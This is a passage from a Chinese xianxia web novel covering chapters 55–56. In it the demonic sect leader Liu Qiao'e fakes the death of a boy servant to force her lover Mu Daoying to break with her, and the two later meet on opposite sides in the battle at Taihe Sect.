她连日以来都忙于战事, 男女之间那点情情爱爱自然也被冲淡了七七八八。 她已经没有时间了。 不若快刀斩乱麻,不问三七二十一, 统统一刀斩个干净。 若不快点打消他的希望,谁知道他二人又反反复复纠缠到几时去。 她心里有了决断,话说得也不冷不热, 云淡风轻: “当初将他拨去伺候你, 倒是个正确的决定。” 刘巧娥将他通体打量了一遍,“你看起来很喜欢他。” 慕道瑛面露失望:“竹青还是个孩子!” 她轻描淡写的态度,显然激怒了他。他再也掩饰不住内心的愤怒。 “怎么?”刘巧娥面色一变, 似乎也被他激怒, 态度突然变得激烈起来。 “你以为我会对个小僮下手?!” 慕道瑛微微阖眸,只觉她简直不可理喻, 他已经不想再跟她虚与委蛇了, 冷淡道:“他到底在哪里?” 刘巧娥:“你我已经多日未见,好不容易说上两句话,他难道就比我重要吗?” “慕道瑛,你那晚强迫我的时候, 可不是这样冷淡的态度!” 慕道瑛:“……” 慕道瑛一时语塞, 自知理亏,微微抿唇, 顿了顿, 方才开口, “……我要看到他的下落。” “他死了。”刘巧娥漠然道。 慕道瑛重复:“……死了?” “对,死了t?。”刘巧娥冷冷道, “你猜得没错,我的确对他下了手。看来这些时日,你从他哪里得到不少消息。你喜欢他,他也喜欢你,你们兄弟情深是好,可我合欢宫不需要吃里扒外的东西。” 慕道瑛定定地瞧她,刘巧娥扯了扯唇角,眉眼冷硬如铁,面不改色与她回望。 他的手不由自主地颤抖起来。 隔了一会儿,慕道瑛倏地合上眼,语气平静下来,“我不信。” 刘巧娥却微变了脸色,“我的确杀了他。我现在还能杀你!” “你不信是吗?”她身形忽地如鬼魅般一动,一息之间,便已飘然近到他身前。 抬手掐紧了他的脖子!! “!” 慕道瑛被迫扬起头,呼吸顿时急促。 她冷冷瞧着他,掐紧他脖颈将他提起,见他痛苦,掌心力道非但不减半分,反而越收越紧。 稀薄的空气被从肺里不断挤出,慕道瑛痛苦至极,眉头皱紧,苍白的面色也泛起两团嫣红,视野越来越模糊。 只听到她森冷的嗓音:“我就是这样杀他的,你现在信了吗?” 慕道瑛喘不上气来,吃力说,“我、不信。” 刘巧娥险些被他气死! 这个软硬不吃的倔驴! 伴随着空气的流失,他的目光也一点点失去了焦距,她缓缓凑近,对上他漆黑的空茫双眼。 “慕道瑛,你当真爱极我了?我杀你师父你也不怪我?” 他身子猛地一颤。 “我当着你的面屠戮那些游剑阁弟子,你也说我性本善?” “我杀你仙盟同僚,捉你师兄师妹,你以为我有苦衷?” 她每说一句话,手里慕道瑛的身子便颤一下,脸色惨白一分。 直到她耳语说: “今日我杀你竹青,你也信我? “还劝我改过从善?你这样迫不及待帮我找理由的模样。对得起灵元,对得起竹青他们吗? “慷他人之慨,这便是你所学的‘善’吗?” 她每个字仿佛淬了毒的刀刃,深深洞穿了他的心肺,“哦,我差点忘了,你那晚待我倒是极热情的,你在我身上翻云覆雨时,可曾想过你师父。” “别说了。”慕道瑛唇瓣痛苦地翕动着,宛如落入掌心的鸟,浑身发抖,乌浓的眼睫一颤,被逼出一滴泪珠。 这眼泪落到她指尖,仿佛有温度。刘巧娥目光闪闪,仿佛被这泪水燎痛,怒极甩手,将他丢了出去! 慕道瑛匍匐在地上颤抖了一会儿,睫毛挂满了泪珠。 过了一会儿,他才深吸一口气,整神缓缓开口,又恢复了那极肃峻的模样。 “瑛不信他人一面之词,也不信你,只相信我见到的。我要见他尸身。” “没了,”刘巧娥冷酷道,“你瞧见魔域那些魔兽没有,它们每日都要吃人,你那些仙盟同伴,还有竹青那小子我都丢去喂了它们。” “他只是个孩子。”他不自觉地喃喃重复,强调,也不知是说给她,还是说给自己。 刘巧娥:“你去过小茅岭,也去了云山,也当知道我那时也是个孩子。” 慕道瑛缓缓合上眼。 她的嗓音忽远忽近,回响耳畔。 眼前一时之间是他想象中那个瘦弱黝黑的小姑娘,一时间又是竹青天真无邪的面容, 他想不通,事情怎么会变成这样。 那个小姑娘怎么会变成如今的模样。 刘巧娥:“我可没他好运,有你这么一个大哥哥护着!” “我当时,有谁护我吗?!有谁为了我逼问宋迁,我只是个孩子吗?我的生死有谁在乎吗?!” 他在乎!慕道瑛指尖扣紧地面,险些便要脱口而出! 可他并没有,因为他已经不知道要如何面对眼前这个人了。 “那不一样。”他说。 “这有哪里不一样?!” 慕道瑛睁开眼,缓缓说:“竹青并不欠你。昔年受苦,今日既然功成名就,更应感同身受,推己及人。避免自己当年悲剧在他人身上重演。 “因为他们便是曾经的你。” 刘巧娥打断他:“那是你!只有你才是这样的圣人!我只想报复!而且我嫉妒,我嫉妒他凭什么有人护着!” 慕道瑛沉默下来。 刘巧娥缓缓走到他面前,想要抬起他的脸。 “别碰我。”慕道瑛冷冷别过脸,拂开她的手,目光里闪烁浅浅厌恶失落。 他仍不信她会杀竹青。 却恨她在这条路上一意孤行,执迷不悟,不肯回头。 刘巧娥的手僵在半空,面无表情,冷冰冰注视她。 慕道瑛抿着唇,面色灰败如被烧尽的纸灰堆。 隔了一会儿,他抬眼看她一眼,惨然一笑。 “我明白你的意思了,从今往后我不会强求……” 他淡淡道:“原是我错了。” 说完,他站起身,爬了起来,踉踉跄跄,一步一步走了回去- 回到偏殿之后,他发热的大脑略微冷静下来。 仍不死心,不相信她会做出这样的事来,更惦念竹青的安危。 他一定被藏在了某个他不知道的地方。 游剑阁,吴云华……这一件件,一桩桩。 或许她说得不错。 连慕道瑛自己都忍不住要质问自己。 若刘巧娥所言为真,他这样,可曾对得起竹青?! 他找上陈玉柔。 陈玉柔却无不歉惋地告诉他,“道长,竹青当真已经死了。” 慕道瑛抿紧了唇,陈玉柔是她心腹,自然能配合她圆谎。 竹青如今到底身在何处?她们是决意不肯让他知晓,不肯叫他再见。不肯再给予他希望了。 一直到这一刻,慕道瑛心里仿佛有什么东西才彻底死去了。 刘、巧、娥! 他惊怒交加,心底倏地爆发出一团怒火!几乎烧穿了他的心肺喉口。 他不可置信,心悸连连。 他完全明白了她的态度。 她这是在逼他,逼他站到她的对立面,不容置疑地将他二人推向决裂的死路。 从此之后,他二人之间是彻彻底底,再无任何可能,只有兵戎相见,不死不休! 慕道瑛努力压下喉口那股腥甜,强打起精神,望向陈玉柔:“若竹青无恙,还望大总管能好好待他。” 陈玉柔打断他强调说:“竹青已经死了。” 慕道瑛顿了好一会儿,才淡道:“就当是瑛在做梦罢。” 他全身发冷,同陈玉柔道过别,离开时脚步都在打颤。 望着那道淡青色的身影渐渐消失在拐角。 陈玉柔这才轻轻叹口气:“你又何必?” 隔了一会儿,刘巧娥从帐幔垂落的角落阴影里走出。 神色阴晴不定,“一头倔驴,又如此天真,这人至今还没入魔,当真稀奇!” “若我不彻底打碎他的幻想,日后纠纠缠缠又不知要生出多少事故来!” 那日,她刚回到宫中,首先便接见了陈玉柔。 陈玉柔将慕道瑛连日以来的动向,事无巨细一一回报,自然也包括了竹青。 刘巧娥不太意外,冷笑一声。 “放走吴华云,倒像是他能做得出来的事,救?这么多人,他救得完吗?” 陈玉柔:“我看他恐怕不安于室,日后必成祸患,你打算怎么做?” 刘巧娥没吭声。 陈玉柔素知晓她的脾性,也不催她。 隔了一会儿,刘巧娥这才冷声道:“找个机会赶他走罢。” “巧娥。”陈玉柔倏道。 刘巧娥:“嗯?” 面前女子突然朝她微微一笑,张开双臂,将她整个人都搂她怀里。 她个高腿长,轻轻一摁,刘巧娥她头脸都被摁进了女人雪白柔软的胸脯间。 温香软玉,脂腻如酥。 刘巧娥脸一下子红了个透,肉眼可见地窘迫慌乱起来。 扑腾着胳膊问:“你这是做什么?!” 陈玉柔捧着她头,胡乱揉了揉,又轻轻拧了拧她鼻子。 大名鼎鼎,阴狠毒辣的无垢老母,此时顶着个鸡窝头,脸红得活像个大孩子。 “你真当我瞧不出来?” “当初见你的第一眼,我便晓得你是个面冷心热的,”陈玉柔眯着眼笑起来,“多亏我使尽了浑身解数,才如愿以偿叫你买了我。” 刘巧娥不意她为何会提起这陈年旧事。 陈玉柔其实是她买回来的扬州瘦马。 许多年前,她机缘巧合在凡人界一富商家里看到了她。 那时她已经被转卖了好几手,二十多岁的年纪,年老色衰。主母待她又刻薄,整日又打又骂,没少受磋磨。 她那会儿刚在老宫主面前得了点脸面,正缺个体己人,见她能写会算,又伶俐聪颖,当时就动了心。 再加上陈玉柔又时不时飞个眼波,从旁钓着点儿她,很快便将她哄得心甘情愿向那富商交了钱,买了她回去。 想到这里,刘巧娥也觉当初自己被t?她钓得晕头转向的模样有点滑稽。 忿忿掐了掐她腰间软肉:“瘦马瘦马,这些年可让你待得舒爽了,哪里还有几分细腰瘦马的模样?” 陈玉柔顿觉乐不可支,笑得腰间软肉乱颤,端得是个顾盼神飞,莹润丰腴的绝色佳人。 “那也得多谢老母这些年来的体谅呐。”她笑眯眯又摸她头,掐掐她脸,“否则如何养得我心宽体胖?” “哼,”刘巧娥翻个大白眼,鼻子里嗤嗤冒气,“就你会卖乖不是?” 二人笑了一会儿,陈玉柔这才摸着她头,轻轻叹说:“你还是心软了。” 说到正事,刘巧娥又抿唇沉默下来。 “你也怕失败不是?” 刘巧娥神色莫辨,阴晴不定。仿佛又变回了那个阴狠刻薄的无垢老母。 陈玉柔也不怕她,搂着她慢慢摸她发顶,轻柔柔地继续: “若你败了,他一直留在这儿的这段经历便是他最大的背叛,仙盟那边恐怕也不能再容他。” “可他偏偏又爱你……唉……”陈玉柔顿了顿,叹息,“你也算得偿所愿了。” “慕道长这人,性子太犟,人又重情,你硬赶他,他未必舍得下你。” “当初你让我把吴华云送他面前,我便觉出几分不对。” “这回你又拿竹青逼他,非逼他一点点消磨对你的喜欢不成?” 说曹操,曹操到,二人正说到竹青,殿门口便探出个竹青的小脑袋。 男孩子涨红了一张脸,紧张得说话直打磕巴:“老老老母……我书看完了,过来就想问问,我能回去了不?” 一想到今天的经历,竹青还发懵。 今儿一大早,老母身边的女侍便过来请,说是老母要见他。 他当时吓了一跳,仔细想想,还以为是问慕道长的情况,都打好腹稿了,没想到来了主殿,人却被关了起来,面前哐当砸了厚厚一沓医书叫他看,看不完不准出去。 他当时走得太急,也没来得及跟慕道瑛交代,心里又惦念他今日还没换药,囫囵地将医书翻了一遍,便匆匆赶过来问。 刘巧娥这才开口,一个淡淡的眼风扫过去,“大人说话小孩子来掺和什么,让你回去的时候自然会放你走。滚出去,一边玩。” 竹青努了努嘴唇,明显还想说点啥,又不敢,憋红了脸,磕了个头,还是退了下去。 等竹青一走,刘巧娥这才好似整理清楚了言语,与陈玉柔分说。 “我并非替他考虑,也根本没想替他做这么多。” “他救了二哥,我感激他。” “我们之间也算两清了。留他在宫里终归不安定。拉拉扯扯,纠纠缠缠这么多时日我也烦了。 “也不瞒你说,这一来二去,我也有点不忍心,想杀他一了百了,却总犹豫,找不到个合适的时机。正好。” “下次战场相见。”刘巧娥目光闪闪,嗓音冷得像冰渣子,“那我自也不会再对他手下留情。正可名正言顺杀他,了结我跟他之间这一场夙孽。” 第55章 第 55 章 可为何,慕长老你见我,…… 慕道瑛走了。 程洵康复那日, 合欢宫便不再拦他。 第二天,照顾他的宫婢照例去他殿内,却见人去楼空, 斯人已远。 程洵好了,但慕道瑛的身子却没好。 剜骨之伤非三五年的功夫绝难彻底康复。 这期间他不能遁光, 从合欢宫到仙盟大营其间数百里之遥,只能拄着竹杖,靠两条腿, 硬生生, 一步步走过去。 每走一步,犹如刀尖上行走,虚汗迭出。 等他衣衫褴褛, 风尘仆仆赶到营寨门前时, 瞧见那高高的瞭望台,数日以来紧绷的心神为之一松, 眼前天旋地转, 刚到大门,人就倒了下去。 守卫的小兵慌忙将人拖了进去。 然而接下来的经历,对于慕道瑛而言才是险象环生,几近生死一线。 因他早已“声名”在外, 仙盟起初并不信他, 认定他跟无垢老□□夫□□,早已暗通款曲, 此次投奔仙盟, 不过是无垢老母特地派出,假意潜伏在仙盟的探子。 来个小统领,将同那些被俘的魔门弟子一同关押入狱, 日夜毒打,严刑逼供。 这一通乱打下来,险些又去了他半条命。 最后还是吴华云及时出面,同那些被他放走的仙盟弟子一道儿给他作保。 仙盟这才放他出来。 还没等慕道瑛喘口气,养会儿伤,就又被提溜到太和宗。 战争进入了尾声。仙盟在这次进攻合欢宫的战事上吃了大亏,又恰逢频频有线报罗那吉出现在了太和宗附近。 盟主秦仙都干脆作出指示,让大家都回防太和宗,决不能再令溯世镜落入魔门之手。 太和宗坐落于东海群岛之间,飞阁连危,跨海而建,云起潮涌拥着神霄绛阕,间或有长鲸出水,鲸鸣不绝,端得一派仙家气象。 自打来到了太和宗,慕道瑛便被专人严密看押起来。 日夜都有人来问刘巧娥的消息,企图从他这个昔日近身男宠身边撬出无垢老母的弱点。 慕道瑛什么也没说。他身在合欢宫时,便不愿同魔门同流合污。 如今身处仙盟,更不可能背叛刘巧娥。 后来赵言歌好不容易获批了恩典,过来看他。 见他虚弱,狼狈模样,面面相觑,相顾无言。 半晌,才叹气:“你这性子,当真是到哪边都不讨好,两边非踹你一脚不可。” 慕道瑛无法反驳,哑然无言。 “玉清怎么样?” “还是老样子。”赵言歌道,“我过来是为了替人传个话。” 慕道瑛蹙眉:“什么话?” 赵言歌:“蓝长老要见你。”- 若放眼整个东华,问目下这世上最有权势的女子是谁,答案无非有两人。 一位是无垢老母刘巧娥。 另一位便是太和宗掌教蓝淑英, 她成名更早于刘巧娥,德高望重,辈分极高,为当时毋庸置疑的前前辈。 正魔战事起,兵峰直指太和,她原本正冲关八境,却也不得不于近日出关, 即将见到这样一位久负盛名的前辈,慕道瑛的心情也不免有些紧张。 在太和宗弟子的引见之下,他不自觉绷紧了脊背,神情极为慎重地一步步踏入了掌门主殿。 殿内浑如雪洞,朴素无华,并未有其他过多的修饰。 只燃一柱香,清香袅袅,香气如涉雪而行间乍见枝傲雪凌霜的白梅,静静盛开。 而在殿中,慕道瑛见到的亦是位银丝如雪,寒梅风姿的老妇人。 蓝淑英见他,微微颔首,请他入座。 慕道瑛忙推辞不敢。 蓝淑英:“坐罢。” 慕道瑛这才捡了个下首的位置,坐了小半边。 蓝淑英见他,只问他一个问题。 她用那双温和的,严厉的眸子深深望着他。 “我知道你,你是如今年轻弟子辈中的翘楚,日后的仙盟还是要靠你这样的小辈们来引领。” 兜头一顶高帽砸下,慕道瑛又赶紧站起身:“弟子不敢。” 蓝淑英道:“实不相瞒,如今仙盟青黄不接,清虚叛教,詹真人重伤,云山不成器,众人都指望我来顶事,我却分身乏术,想着能不能用你们这些小的。” 慕道瑛沉默下来。他从前在玉清观,便因为能者多劳,性子踏实,被安排过不少活计,小到照顾师弟师妹,大到斩妖除魔。无有不干,忙得活像头任劳任怨的驴。 这让慕道瑛也认识到了一条经验。长辈上峰们此番多溢美之辞,往往意味着接下来交予他任务之繁重艰辛。 他隐约预见了蓝淑英此番宣召他的用意,并隐隐感到不安。 “那些谣言,我从不管,像你这样出色的年轻人,越多越好。” “慕道长。”蓝淑英的容色严肃起来,“我知晓你曾做过无垢老母的男宠。” “我只问你,日后战场相见,你可做好杀她的准备。” 饶是已有所准备,慕道瑛浑身一震,默然良久。 蓝淑英没有逼他,他若一口答应她反倒要斟酌是否要用他了。 慕道瑛阖了阖眼皮。 事已至此,难道还真怀有天真吗? 走出合欢宫山门的那一刻,他便理应做好准备了,刘巧娥也早借竹青一事,逼他作出了抉择。 他无言良久,方才缓缓抬手,深深行礼,“儿女情长,天下大义,瑛分得清。下次再见,瑛绝不会心慈手软。” 话音落下,嗓音也是自己也未觉察的干涩,汗珠顺着鬓角落下,面色是难得苍白。 蓝淑英看他一眼,叹口气:“你明白就好,下去罢。” 蓝淑英只要他一个明确的态度。 这次见面之后不久,慕道t?瑛便被在仙盟安排了一个不大不小的职位,又拨下许多灵丹妙药供他调理身子。 原本需要调养一两年的伤势,很快,便痊愈了泰半。 之后蓝淑英又安排他小试牛刀,领兵清缴了几支魔兵小队。 他是一言既出驷马难追的性子,既已表明了自己的立场,做事也从来都做到极致,勤勤恳恳,兢兢业业,无一日懈怠。 他性子平易,赏罚分明,治军有方,松弛有度。 又往往料事如神,一马当先,很快便赢得了同修们的敬爱服从。 非但在仙盟享有一席之地,跟着赵言歌等人也一点点慢慢将玉清观重新打点起色。 随着接触得公务越多,慕道瑛便愈不寒而栗。 仙盟烂到了骨子里,玉清观之横征暴敛,鱼肉百姓之事也未少有。 这样的仙盟到底有存在的必要吗? 他寝食难安,日夜难眠。 但唯一既知的是,魔气为浊,代表混沌,以杀戮和毁灭为要义,已世间重归于“一”的混沌为志高。 不论如何,也决不能令魔门掌权,世间落入灾害频发,兵燹四起的末日。 仙盟,魔域之间的战争愈趋激烈。 慕道瑛知晓自己早晚会同刘巧娥在战场上重逢,并也静静等待那一日的来临。 终于,这一日魔域的联军终于逼近了太和宗。 而太和宗的掌教蓝淑英却未曾露面。 她当初被迫出关,如今只得在战场的间隙,抓紧一切机会仓促冲境。 希望能尽早突破八境,给战局带来新变化。 毕竟整个东华界,如今的确无人可用。 盟主秦仙都众人也知晓,他修为虽已臻至八境,但在魔门未倾巢而出,罗那吉静观不动的情况下,他更不能轻举妄动,底牌尽出。 他也是个传奇人物,前些年近乎于仙盟三大家的傀儡,直到这些年,仙盟局势有了翻天覆地的变化,他这才一点点重整了大局。 仙盟如今,需要蓝淑英这样的大能高德冲锋陷阵, 也需要他这样的长老,稳定大后方。 只是如此一来,蓝淑英身上的担子便重了许多。 魔门攻入太和宗的那一天,正是得了线报,赶在蓝淑英又匆匆闭关冲境的那日。 慕道瑛未能上得前线,而是和其他两位青年俊杰被安排在掌门殿外,替蓝淑英护法。 魔兵很快便杀进了前门广场,抬眼望去,一座青碧色的山峰如剑指天,仙盟的修士们占据峰顶,牢牢拱卫着最后一道的防线。 空气中传来海风咸腥燥热的味道,山上,山下,汇成黑色与白色的海洋。 海波不动,两两相峙。 听闻慕道瑛就护持在山上那一道殿门前。 当中一个魔将轻哂:“你们慕道瑛,不过是咱们老母当初裙下之臣,跪下来给老母舔1脚的玩意儿,如今倒也领起兵来了?” “可笑可笑,我若是你们,有这样的主将,我就该羞愧自尽!” 其他仙盟修士都露出愤怒之色。 “尔等披鳞带甲之辈,不知廉耻之徒,休得在此胡言乱语!” 那魔将轻慢地拔高了嗓门,声如雷鸣,向山上那道殿门叫阵。 “慕道瑛!你出不出来?!你还是不是男人?当初雌伏在咱们老母身下,如今又装起缩头乌龟了?” “在这打有什么意思?”魔将戏谑道,“跟咱们老母去床上比划比划?” 他身后魔兵魔将都哄得一声笑出来。 见他们如此侮辱主将,一众仙盟修士都咬牙切齿,涨红了脸。 太和宗掌门殿前。 “宁瑕。”赵言歌忧心忡忡瞧了慕道瑛一眼。 他今日也被安排在此地,替蓝淑英护法,那魔将嗓音暗运了魔气,摇摇排开,听得赵言歌直发愁。 但慕道瑛却心平气和,极为平淡的模样:“不必担心,我没事。” 赵言歌却道:“你也不必顾忌我们,这魔孽嘴里不干不净的,莫说是你,我听着都来气!你要出去教训他都无妨,这里还有我们替掌门守着呢!” 慕道瑛一时无言,他是真未感到耻辱。 唯一所担心的,只是怕放任他那样叫嚣下去,恐动摇军心,伤害士气。 他想着想着,一抬头,却对上诸同僚或同情,或担忧的,小心翼翼的目光。 那眼神活像是在看尊易碎的玻璃人。 慕道瑛: “……” 这样放任那魔将乱嚼他跟刘巧娥之间的情事也不是办法。 无言片刻,他最终还是接受了同僚们的好意,轻轻点头,“我去看看。” 他全明白他们在担心什么。 刚回到仙盟时,沈澄因,赵言歌几人以为他受尽了情伤,从不敢在他面前提及刘巧娥的名字。 刘巧娥—— 慕道瑛默念这名字。曾经,他只要一想到这名字,呼吸都仿佛吸入了碎琉璃。如今他倒也能在议事厅中平静地谈论起这个名字,同他人想法设法筹谋如何对付她。 他仍记得当日那激烈的,惊心动魄的心境。 时移世易,见多了魔门处事之残酷暴烈,见多了同僚们惨死沙场。 若再执着于那点儿女情长,可曾对得住那些死去的同袍? 他仍每天念着她,想着她,不同的是,他日日夜夜想着要如何战胜她,除掉她,将逢春刺入她的心口,赢得这场正邪之战。 正思索着,他便已来到山峰的外围。 向下望去,一面面黑色的旗帜招摇如海。而带领这片海洋的魔人,仍谑笑着他跟刘巧娥的风流艳事。 慕道瑛走过来,问那小统领,“怎么样了?” 他的出现,令其他仙盟士兵的目光都落在他身上。 可他却面庞却淡泊雅静如许,忽略了众人异样的视线,站定山头,细细凝眸瞧了那魔将一眼。 小统领道:“他们也不敢轻举妄动,只敢喊些……喊些……不干不净的腌臜之词。” 他说着说着,有些忿忿,“还真以为咱们会动摇士气不成?” 他抬眼看了眼慕道瑛,想了想,又同左右说了些什么。 他左右的亲兵,立刻整齐划一地朝山下遥遥喊了回去。 “咱们的主将出来了!你们的老母呢?可敢现身?!” 慕道瑛怔了一下,还没来得及阻拦,就听见他们又喊: “怕是你们老母,荒淫无度,当初贪慕玉剑美色,百般求爱不成!如今被咱们长老弃之如敝履!” “区区一介下堂妇!怎么?你们这些下堂妇带领的没种的兵,也敢来这撒野?!” 他皱起眉,觉得再这样编排下去实在不像话,正要阻拦,突见白日昭昭,一道璀璨流星飞快地横过天际,骤然降落在山下那片黑色的海洋之中。 轰然间,黑海波泛浪涌。 就连山顶的白海也为之骚动不安起来。 两片静止的海洋,突然之间,都因为一人的出现,而重新流动! 而那人衣袂翩跹,落定在那魔将身侧。 一声朗笑:“讲得好!” 耳闻众人编排她床上艳事,刘巧娥非但没露怒容,唇角反倒含一抹讥嘲冷笑。 乌发飞扬,眉眼睥睨。环顾四周,傲视群雄,尽显狂浪之态! “继续讲!本座乐意听!” 眉眼一转,电光火石间, 慕道瑛撞上她视线! 二人四目相接,隔空对视! 刘巧娥手腕翻转,血罗刹化一道血线,一闪之下,便闪出了几十丈外,横跨两军! 再一闪,便已逼近那叫嚣得最厉害的仙盟修士咽喉! “讲!怎么不讲了?也让全天下都听听他慕道瑛昔日是如何在床榻之间伺候我的!” “玉剑丹心,一娈宠尔。” 那仙盟修士面色大变,强忍住转身就逃的冲动。 正在这时,一道如雪剑光横空而起。 同那红线撞在一起,锵,激起一串星火! “慕、慕长老。” 仙盟修士微微睁大眼,于星火连闪间,窥见一张苍白病弱容颜。 慕道瑛微微蹙眉,眉眼间含着浓浓的不赞同之意。 因当初剜骨留下病根,年轻的主将裹一袭厚实的狐裘,眉淡眼淡,唇色更淡近无血色。 收了剑,慕道瑛咳了一声,才开口说:“两军对战,岂可儿戏,日后莫要再说这些浮浪之词了。” 他的嗓音如线一般,也显得虚弱无力。 可在场众人,无一敢打扰他说话。 正因众人都知晓双方主将之间那一段艳事,如今两人相见,四周反倒陷入了一片诡异的安静。 刘巧娥遥遥见他襟怀冲淡,宁静致远的模样,心中微一滞,像堵了一大团棉花,有些不痛快。 他明显成长了许多,望向她的眼神也无悲无喜,无怒无欲。 虽说当初是她主动逼走了他,但战场上,跟前情郎久别重逢,她心里多少还是希望他能表现出激动复杂,对自己念念不忘的情绪来。 然而,慕道瑛平静的,不掺杂任t?何感情的目光,令她面色一沉。心中飞快地闪过一点酸涩复杂的情绪。 甭管爱也好恨也罢,但怎能像眼下这般?! 难道他们昔日的爱恨都是假的不成?对他而言不过砥砺道心的经历,可轻而易举看破? 可还未等她作色,远处的慕道瑛却慢慢皱起了眉头,捂住了前襟胸口。 他面色一下子变得苍白,仿佛正经历着极大的痛楚。 身边的修士都紧张起来,“慕长老!!” 刘巧娥一愣,突然忆起一事,心头顿时如春风化雨般舒畅,不禁大笑起来,笑得越来越大,颇有几分雪恨的痛快淋漓! “昔日我曾为你种下生死符。回到仙盟之后,他们理应已经替你拔除了此符。” “可为何,慕长老你见我,心仍痛呢?” 慕道瑛面色大变,再也强作不出云淡风轻。 光洁的胸膛,早无昙花纹样。 他本以为自己早已看开,如今的他,无爱无恨,无情无欲,对上刘巧娥也绝不会有任何动容。 却在两军对战,众目睽睽之下,触及她视线,心脏仍泛起一阵尖锐的痛楚! 正魔修士听闻此言,都愣了一愣。 “休听她胡言乱语,”慕道瑛强忍痛楚,缓缓站起身,轻描淡写说,“不过生死符残留罢了。” 他扭头吩咐左右,强调道:“蓝掌教闭关正值紧要关头,决不能令魔人闯入,还请诸君与我。” 他揪紧前襟的五指松开,迎上刘巧娥的视线,慢条斯理,一锤定音,“杀出个太平。” 第56章 第 56 章 刘巧娥的过去到底是什么…… 太和宗矗立于东海之上, 依托海上巍峨仙岛而建,四面环海。 夕阳西沉,海上明月逐波而起。 皎洁的月光遍洒在粼粼的海波间, 无数的断臂残肢随海波上下起伏荡漾,仿佛个轻柔的梦境。 而此时, 海面之上,鏖战正紧! 刘巧娥甩着血罗刹,掠一道烟气急纵后退, 抬起杏眼冷瞧着天上那将她团团围住的这十数道身影! “你们正道, 难道便只会仗着人多势众,以多欺少,欺负我这个小女子吗?” 这十数道人影, 立在云头, 衣袂飘飘,月色下, 恰如仙人降临人世间, 默默俯视着阵心的刘巧娥。 这都是慕道瑛及其同僚,无不是如今仙盟之中坚力量。 乍一看,是仙盟占据了上风,居高临下, 可站定一个方位的慕道瑛却知道, 事情远没有那么简单。 他猜到了坐拥山河剑在手的刘巧娥功力会更上层楼。 却没想到,不过一年多未见, 她会进展到如斯恐怖的境地, 其人修为幽深如海,深不可测,令他胆寒。 血罗刹每一次出鞘, 必定会收割上百道人头,杀得海面染红。 在这些魔兵魔将的配合之下,这无疑于一场单方面的屠杀, 他们不得不结成法阵,将她团团围住,将伤害降到最小化,才能勉力阻止她突破战阵,闯入掌门殿中。 刘巧娥见他们不答,一声冷笑,又长身一纵!血罗刹卷起滔天巨浪,化作铺天盖地之势,不断冲击法阵! 慕道瑛等人快速掐指结印,力求将这巨浪消弭在法阵之间。 巨浪不断在他们数人之间回荡,每一道浪花都蓄积了万钧之力! 飞溅四溢的水沫,令岸边礁石顷刻间碎成齑粉,打落在人身上,包括慕道瑛在内的许多人,都感到双耳齐鸣,胸中血气翻涌,唇角溢出一缕血色。 即便如此,他们也不敢松懈,飞快地摇动指尖,一遍又一遍地加固着这轮困阵! 海浪每翻涌一道,刘巧娥的冷笑便随之传送到四面八方:“蓝淑英这个缩头乌龟,反令你们来送死,可敢出面与我一战?!” “就凭这个也想拦我?” “待我马上破了这困阵,便是你们的死期!” “劝你们趁此机会好好想想你们的死法!枭首剖腹,碎尸万段?想要哪一个?” 刘巧娥书念得少,也的确不太擅长阵法,一入阵中便如没头的苍蝇晕头转向。 奈何她修为太高,全靠蛮力一遍遍冲击,竟也冲得法阵晃动, 再配合魔门秘法,将声音放大,深入人脑,令人心神摇动,神不附体。 她嗓音一时间声若雷音,一时间又如情人絮语,忽远忽近。 远时,众人才稍稍松口气,近时,便以为她突然杀到面前,胆丧魂飞! 原本灵气运行无碍的法阵,也因为她之魔音入耳,变得滞涩难行,好几次险险中断,岌岌可危。 慕道瑛因从前跟她朝夕相处,日夜相对,对她嗓音极为熟悉,天然地变多了层免疫。 可其他人却没那么轻易了。 慕道瑛最先注意到众人的恍惚,他一边持续像阵心运输灵力,一边飞快地提点众人:“诸位道友!抱元守一,莫要被这魔音影响了心神!” 又暗运了清明灵气,一遍遍冲荡魔音的影响。 灵气在魔音的压制下虽微小,却也是一点草种,经由春风一吹,便可点染无边新绿。 其他修士很快便在他清冽嗓音引导下逐渐回过神来。 唯独一个年纪最小的少年,因为年幼,心志不坚,被刘巧娥引诱威胁了几番,便双眼恍惚。 刘巧娥,慕道瑛目光齐齐一闪! ——正是此处! —— 不妙! 二人各怀心思,慕道瑛腾出左手,飞快捏了只灵鹤,扑簌簌直要入那少年天心。 却慢一步!刘巧娥同时觉察出这少年便是破局关键,血罗刹飞出,直直撞他心肺! 那少年面色一白,内外交震之下,终于坚持不住,“噗”地喷出一口血来! 他所站定方位,破开一个口子,灵气如泄了洪的流水飞快奔涌而出! 咔啦啦!困阵粉碎, 阵破! 巨大的冲击力反噬布阵者自身! 慕道瑛连同其他布阵同僚,纷纷急退呕血,被这冲击波掀飞出去,跌入海水之中! 腥咸的海水争先恐后地灌入口鼻,慕道瑛内伤太重,挣了挣,跃出水面,起身欲战, 肩头却忽然被一双大掌扶住。 一道温和却不失力度的嗓音蓦然响起: “小友,辛苦,我果然未曾看错你。” 一回眸,慕道瑛不禁脱口而出,微微动容:“蓝前辈!” 刘巧娥急掠的身影为之一顿,瞬目望了望,唇角薄扬起个笑,“嗯?蓝掌门,竟不作那关门狗,敢出来吠叫了?” 蓝淑英毕竟年岁更长,并不将刘巧娥的激将法放在眼里。 她回眸瞧了眼,月色下,水光淋漓,恍若鲛人的慕道瑛,交代了一句: “小友,接下来便交给我,还请为我掠阵。” 说完,足踏长波,衣袂飞扬,朝着刘巧娥纵身而去!- 甫一见到蓝淑英,慕道瑛心底不着痕迹轻轻松了口气。 皆因为,目下出现在人前的蓝淑英,周身清气自走,独立于海波之间,袖翻彩霞,萧萧清举,洒然若神。 俨然已经突破了第七重洞冥境界,迈向了第八重——破妄境! 又听闻蓝淑英的话。 慕道瑛不敢疏忽,忙调动心神,全力以赴,替蓝淑英护法。 而其他坠入海中的修士,也都在这时催动遁光,破出海面,一道配合他共助蓝淑英。 一道烟气自天边卷来。 蓝淑英破境之后,原本负责护法的赵言歌,沈澄因等人也带了一队人马紧随其后。 战况危急,他二人也无暇同慕道瑛招呼,双方只匆匆对视了一眼,便略略颔首,又投入了战局之中。 刘巧娥的脸色就没这么好看了。 深知大敌当前,目下必有一场苦战。她面沉如水,微抿了唇角,也不再企图占尽那口舌之利。 足下发力,长身一拔!身化一道虹霞,将血罗刹放出,直冲蓝淑英卷去! 蓝淑英见状,将身形把定,瞬息之间,二人便已劈掌交过上百招。 直将海面搅得波涛汹涌,百尺浪头一浪高过一浪! 缠斗正紧时,蓝淑英率先觑得古个空隙,往后急纵出丈远,翻掌便祭出个银光闪烁的圆形物什。 